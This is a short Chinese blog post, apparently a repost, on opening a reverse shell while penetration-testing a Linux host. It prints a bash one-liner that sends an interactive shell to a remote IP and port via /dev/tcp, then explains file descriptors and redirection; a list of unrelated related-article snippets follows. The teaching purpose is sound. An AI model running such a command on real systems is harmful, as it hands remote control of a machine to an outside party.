渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i :打开一个交互的bash。dev/tcp/是linux中的一个设备,打开文件相当于发出一个socket调用,建立socket连接。打开这个文件相当于 在这个socket里面传输数据,

当然, 还有一个文件夹叫 /dev/udp/

在了解“>&”和“0>&1”,前,先了解一下linux文件描述符和重定向。

linux shell下常用的文件描述符是:

1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ;

2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ;

3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

先从 0>&1入手,简简单单的四个字符,但是想真正的搞清楚真的麻烦啊

有些资料里的解释说:2>&1是将标准错误输出合并到标准输出中

也就是说  2> ==  标准错误输出

      1   ==  标准输入

那难道 &是合并的意思?  &貌似也有 and的意思对吧。

其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。

http://blog.51cto.com/kusorz/2071052

转载于:https://www.cnblogs.com/EEEE1/p/9245107.html

linux几种方式来弹哥shell相关推荐

  1. linux两种方式改变文件权限,Linux更改文件权限的两种方式

    今天小编要跟大家分享一篇关于Linux更改文件权限的方式,喜欢Linux的小伙伴来看一看吧. 我们知道·Linux系统最主要的特点之一就是--Linux系统是多用户.多任务的操作系统. 何为多用户?就 ...

  2. Linux两种方式rd.break和init重置root管理员密码

    centos7/rhel7进入单用户方式和重置密码方式发生了较大变化,GRUB由b引导变成了ctrl+x引导. 重置密码主要有rd.break和init两种方法. rd.break方法: 1.启动的时 ...

  3. linux 开机自动挂载光驱,随记:Linux 两种方式实现光驱自动挂载

    环境:CentOS6.4 方式一  修改fstab文件 /etc/fstab是系统保存文件系统信息的静态文件,每一行描述一个文件系统:系统每次启动会读取此文件信息以确定需要挂载哪些文件系统.参数语法不 ...

  4. JS弹出对话框的三种方式

    javascript的三种对话框是通过调用window对象的三个方法alert(),confirm()和prompt()来获得,可以利用这些对话框来完成js的输入和输出,实现与用户能进行交互的js代码 ...

  5. Linux shell:执行shell脚本的几种方式

    在Linux命令行执行shell脚本有如下三种方式: 1)bash test or sh test 2)./test 3)test 注:第三种方式需要将当前目录添加到PATH,否者会提示:-bash: ...

  6. Linux中shell运行方式,linux脚本中父shell与子shell 执行的几种方式

    本文主要介绍以下几个命令的区别: shell subshell source $ (commond) `commond` Linux执行Scripts有两种方式,主要区别在于是否建立subshell ...

  7. linux中安shell怎么传入参数,【linux】linux 下 shell命令 执行结果赋值给变量【两种方式】...

    方法1:[通用方法] 使用Tab键上面的反引号 例子如下: find命令 模糊查询在/apps/swapping目录下 查找 文件名中包含swapping并且以.jar结尾的文件 使用反引号 引住命令 ...

  8. linux系列(七):shell编程、shell概念、ssh协议概念、执行shell文件的三种方式

    1 概念 https://www.xshell.com/zh/free-for-home-school/ 1.1 xshell(执行linux命令的客户端软件) Xshell [1] 是一个强大的安全 ...

  9. linux系统怎么拿shell,简述获取shellcode的几种方式

    原标题:简述获取shellcode的几种方式 0×00 shellcode简介 在攻击中,shellcode是一段用于利用软件漏洞的有效负载,shellcode是16进制的机器码,以其经常让攻击者获得 ...

最新文章

  1. Unity网络多玩家游戏开发教程(上册)
  2. python 编程一日一练-Python每日一练0022
  3. Redis简介 与Memcache的区别
  4. mysql命令:为mysql命令指定字符集
  5. Google公开C++编码规范
  6. 当你自定义view用的约束之后,放到其他空间算取frame的时候发现frame里的x,y都是0...
  7. glibc版本查看_Linux开发必知内容整理 | libc、glibc和glib的关系
  8. 【全栈React】第13天: 重复元素
  9. python matplotlib画图遇到的问题——标题重叠问题
  10. 关于学习C语言的指针、链表的原理和各类操作的体会
  11. 不谈商业模式,为什么众筹新闻难成功
  12. shiro 拦截未登录的ajax_Springboot+thymeleaf+Shiro继承,亲测可用
  13. 《初识Scratch》教学设计
  14. 很抱歉,程序无法在非MBR引导分区上进行激活
  15. 罗振宇《时间的朋友2018》跨年演讲全文
  16. 【SEU程序设计课笔记】 Mooc - Chapter 6 - (EX) - 泰勒展开求sin(x)/计算PI的近似值
  17. autojs 捕获异常并处理
  18. Windows powershell Terminal;linux tmux终端分屏使用;tabby终端使用
  19. 维美儿 名画背后的故事 《戴珍珠耳环的少女》
  20. 吕文翰 php,自己动手打造基于 WKWebView 的混合开发框架(二)——js 向 Native 一句话传值并反射出 Swift 对象执行指定函数...

热门文章

  1. 机器学习两大派别--南大周志华
  2. ReportViewer教程(5)-将数据源字段放入报表
  3. PRML-系列一之1.5.5~1.5.6
  4. 深度学习的实用层面 —— 1.4 正则化
  5. Markdown--语法说明
  6. Word2010双栏中某一处改变为单栏后,无法撤销还原为原来的双栏格式的解决方案
  7. JAVA正则表达式分析爬虫数据
  8. Gray Code(格雷码) C++多方法实现
  9. Skywalking-06:OAL基础
  10. 简单的字谜游戏--可扩展--2015年7月25日14:58:00V1.1版